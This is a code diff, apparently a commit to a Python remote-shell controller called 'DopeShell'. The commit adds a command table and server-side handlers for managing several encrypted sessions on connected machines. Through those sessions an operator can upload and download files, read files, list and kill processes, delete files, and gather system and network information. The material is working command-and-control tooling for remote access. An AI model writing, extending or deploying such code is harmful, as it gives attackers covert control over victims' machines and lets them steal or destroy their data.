44import threading
55import base64
66import os
7+ import struct
8+ import platform
79import argparse
810from cryptography .hazmat .primitives .ciphers import Cipher , algorithms , modes
911from cryptography .hazmat .backends import default_backend
@@ -19,6 +21,37 @@ def __init__(self, host, port, key):
1921 self .sessions = {}
2022 self .session_counter = 1
2123 self .active_session = None
24+ self .commands = {
25+ 'help' : 'List all commands and their usage.' ,
26+ 'exit' : 'Terminate the session.' ,
27+ 'switch <session_id>' : 'Switch to another active session.' ,
28+ 'sessions' : 'List all active sessions.' ,
29+ 'upload <local_path> <remote_path>' : 'Upload a file from the local machine to the remote machine.' ,
30+ 'download <remote_path> <local_path>' : 'Download a file from the remote machine to the local machine.' ,
31+ 'pwd' : 'Print the current working directory on the remote machine.' ,
32+ 'cd <directory>' : 'Change the current working directory on the remote machine.' ,
33+ 'ls [directory]' : 'List files in the specified or current directory on the remote machine.' ,
34+ 'ps' : 'List running processes on the remote machine.' ,
35+ 'netstat' : 'Show network connections on the remote machine.' ,
36+ 'ifconfig/ipconfig' : 'Show network configuration (depending on OS).' ,
37+ 'cat <file_path>' : 'Display the contents of a file on the remote machine.' ,
38+ 'info' : 'Display system information of the remote machine.' ,
39+ 'mkdir <directory>' : 'Create a new directory on the remote machine.' ,
40+ 'delete <file_path>' : 'Delete a file on the remote machine.' ,
41+ 'kill <pid>' : 'Kill a process on the remote machine by PID.' ,
42+ 'clear' : 'Clear the screen in the shell.' ,
43+ 'find <filename>' : 'Find a file by name on the remote machine.' ,
44+ 'sysinfo' : 'Display detailed system information.' ,
45+ }
46+
47+ def receive_data (self , client_socket ):
48+ # Read the data length first
49+ data_length = struct .unpack ('>I' , client_socket .recv (4 ))[0 ]
50+ data = b""
51+ while len (data ) < data_length :
52+ chunk = client_socket .recv (4096 )
53+ data += chunk
54+ return self .decrypt (data )
2255
2356 def encrypt (self , data ):
2457 iv = os .urandom (16 )
@@ -40,9 +73,93 @@ def handle_client(self, session_id, client_socket):
4073 if session_id != self .active_session :
4174 continue
4275 command = input (f"Session { session_id } Shell> " )
76+
4377 if command .lower () == 'exit' :
4478 client_socket .send (self .encrypt (command .encode ('utf-8' )))
4579 break
80+
81+ if command .lower ().startswith ('help' ):
82+ parts = command .split (maxsplit = 1 )
83+ if len (parts ) > 1 :
84+ specific_command = parts [1 ].lower ()
85+ description = self .commands .get (specific_command , "Command not found." )
86+ help_text = f"{ specific_command } : { description } "
87+ else :
88+ help_text = "DopeShell Tool Help\n " \
89+ "====================\n " \
90+ "List of available commands:\n "
91+ for cmd , desc in self .commands .items ():
92+ help_text += f" { cmd :<30} - { desc } \n "
93+ help_text += "\n For detailed information on a specific command, type 'help <command>'"
94+
95+ print (help_text )
96+ client_socket .send (self .encrypt (help_text .encode ('utf-8' )))
97+ continue
98+
99+ elif command .lower ().startswith ('ls' ):
100+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
101+ response = client_socket .recv (4096 )
102+ print (self .decrypt (response ).decode ('utf-8' ))
103+
104+ elif command .lower ().startswith ('pwd' ):
105+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
106+ response = client_socket .recv (4096 )
107+ print (self .decrypt (response ).decode ('utf-8' ))
108+
109+ elif command .lower ().startswith ('cd' ):
110+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
111+ response = client_socket .recv (4096 )
112+ print (self .decrypt (response ).decode ('utf-8' ))
113+
114+ elif command .lower ().startswith ('download' ):
115+ _ , remote_path = command .split ()
116+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
117+ with open (os .path .basename (remote_path ), 'wb' ) as f :
118+ while True :
119+ file_data = self .decrypt (client_socket .recv (4096 ))
120+ if file_data == b'EOF' :
121+ break
122+ f .write (file_data )
123+ print (f"[+] Downloaded { remote_path } from the client." )
124+
125+ elif command .lower ().startswith ('upload' ):
126+ _ , local_path = command .split ()
127+ client_socket .send (self .encrypt (f"upload { os .path .basename (local_path )} " .encode ('utf-8' )))
128+ with open (local_path , 'rb' ) as f :
129+ while chunk := f .read (4096 ):
130+ client_socket .send (self .encrypt (chunk ))
131+ client_socket .send (self .encrypt (b'EOF' ))
132+ response = client_socket .recv (4096 )
133+ print (self .decrypt (response ).decode ('utf-8' ))
134+
135+ elif command .lower () == 'info' :
136+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
137+ response = client_socket .recv (4096 )
138+ print (self .decrypt (response ).decode ('utf-8' ))
139+
140+ elif command .lower () in ['mkdir' , 'delete' , 'kill' , 'clear' , 'find' , 'sysinfo' ]:
141+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
142+ response = client_socket .recv (4096 )
143+ print (self .decrypt (response ).decode ('utf-8' ))
144+
145+ elif command .lower ().startswith ('cat' ):
146+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
147+ response = self .receive_data (client_socket )
148+ print (response .decode ('utf-8' ))
149+
150+ elif command .lower () in ['ifconfig' , 'ipconfig' , 'find' ]:
151+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
152+ response = self .receive_data (client_socket )
153+ print (response .decode ('utf-8' ))
154+
155+ elif command .lower () in ['ps' , 'netstat' ]:
156+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
157+ response = self .receive_data (client_socket )
158+ print (response .decode ('utf-8' ))
159+
160+ elif command .lower () == 'sessions' :
161+ self .list_sessions ()
162+
46163 elif command .lower ().startswith ("switch" ):
47164 _ , new_session_id = command .split ()
48165 if int (new_session_id ) in self .sessions :
@@ -51,14 +168,20 @@ def handle_client(self, session_id, client_socket):
51168 else :
52169 print (f"[-] Session { new_session_id } does not exist." )
53170 continue
54- client_socket .send (self .encrypt (command .encode ('utf-8' )))
55- response = client_socket .recv (4096 )
56- print (self .decrypt (response ).decode ('utf-8' ))
171+ else :
172+ client_socket .send (self .encrypt (command .encode ('utf-8' )))
173+ response = client_socket .recv (4096 )
174+ print (self .decrypt (response ).decode ('utf-8' ))
175+
57176 client_socket .close ()
177+ del self .sessions [session_id ] # Remove session on exit
178+ if not self .sessions :
179+ self .active_session = None # Reset active session if no sessions remain
180+
58181
59182 def run (self ):
60183 print (f"[*] Listening on { self .host } :{ self .port } " )
61- while True :
184+ while True :
62185 client_socket , addr = self .sock .accept ()
63186 session_id = self .session_counter
64187 print (f"[*] Connection from { addr } , Session ID: { session_id } " )
0 commit comments